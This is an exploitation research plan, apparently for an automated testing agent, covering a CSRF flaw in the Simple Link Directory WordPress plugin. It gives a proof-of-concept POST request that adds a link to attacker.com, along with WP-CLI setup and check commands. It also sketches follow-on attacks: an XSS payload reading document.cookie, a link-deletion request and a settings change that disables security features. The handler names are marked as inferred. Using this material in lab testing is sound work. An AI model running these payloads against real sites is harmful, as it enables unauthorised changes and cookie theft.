Exploitation Research Plan - CVE-2025-67465 (Simple Link Directory CSRF)

1. Vulnerability Summary

The Simple Link Directory plugin for WordPress (versions <= 8.8.3) is vulnerable to Cross-Site Request Forgery (CSRF). This occurs because the plugin fails to implement or correctly validate nonces in several administrative AJAX handlers. An unauthenticated attacker can exploit this by tricking a logged-in administrator into clicking a link or visiting a malicious site, resulting in unauthorized actions such as creating, deleting, or reordering directory links and categories.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Vulnerable Actions (Inferred):
  • qcsld_add_new_item (Adding a new link)
  • qcsld_upd_order (Updating link order)
  • qcsld_remove_item (Deleting a link)
• HTTP Method: POST
• Authentication Required: Site Administrator (targeted via CSRF).
• Payload: URL-encoded body parameters containing the action and malicious data.

3. Code Flow (Inferred)

1. Registration: The plugin registers AJAX hooks in the initialization phase (likely via init or admin_init in the main plugin file):

   add_action('wp_ajax_qcsld_add_new_item', 'qcsld_add_new_item_callback');
   

2. Execution: When a request is sent to admin-ajax.php with action=qcsld_add_new_item, WordPress routes it to the qcsld_add_new_item_callback function.
3. Vulnerability Sink: The callback function performs state-changing operations (like wp_insert_post or $wpdb->insert) without calling check_ajax_referer() or wp_verify_nonce().
4. Result: The server processes the request based on the administrator's session cookies, even if the request originated from a different site.

4. Nonce Acquisition Strategy

The vulnerability is characterized by a missing nonce check. Therefore, no nonce should be required to execute the exploit.

Verification of Nonce Requirement:
To confirm if a nonce is needed or if a generic one is used, the agent should:

1. Navigate to the plugin's main page: /wp-admin/admin.php?page=qc-link-directory-main.
2. Inspect the global JavaScript environment for localization objects:

   // Use browser_eval to check for plugin data
   browser_eval("window.qcsld_obj || window.qc_sld_ajax || 'No localization object found'");
   

3. If an object is found, check for a nonce or security key. If absent, the handler is likely unprotected.

5. Exploitation Strategy

The goal is to simulate a CSRF attack that adds a new "malicious" link to the directory.

• Step 1: Identify a valid category_id (this is usually a custom post type or taxonomy ID).
• Step 2: Construct a POST request to admin-ajax.php.
• Step 3: Use the http_request tool to send the payload as if it were a cross-site form submission.

PoC Payload:

• URL: https://[TARGET]/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=qcsld_add_new_item&qcsld_item_title=CSRF_Hacked_Link&qcsld_item_url=http://attacker.com&qcsld_item_desc=Injected+via+CSRF&qcsld_cat_id=[CAT_ID]
  

6. Test Data Setup

Before testing the exploit, the environment must contain a category to house the new link:

1. Create a Directory Category:

   wp post create --post_type=sld_cat --post_title="Target Category" --post_status=publish
   

2. Retrieve Category ID: Use the ID returned by the previous command as [CAT_ID].

7. Expected Results

• The server should respond with 200 OK and likely a response body of 1 (common for successful AJAX in WP) or a JSON success object.
• No "Forbidden" or "Invalid Nonce" errors should appear.

8. Verification Steps

Confirm the link was successfully created using WP-CLI:

# Check if the post exists by title
wp post list --post_type=sld --post_status=publish --field=post_title | grep "CSRF_Hacked_Link"

# Check the meta data or content
wp db query "SELECT * FROM wp_posts WHERE post_title='CSRF_Hacked_Link' AND post_type='sld'"

9. Alternative Approaches

• XSS Chain: If the qcsld_item_title field is rendered without escaping on the frontend, inject an XSS payload:
  qcsld_item_title=<script>alert(document.cookie)</script>
• Settings Modification: Search for an AJAX action like qcsld_save_settings to modify plugin configurations (e.g., disabling security features or changing display templates).
• Deletion Attack: Attempt to delete existing links using action=qcsld_remove_item&item_id=[ID].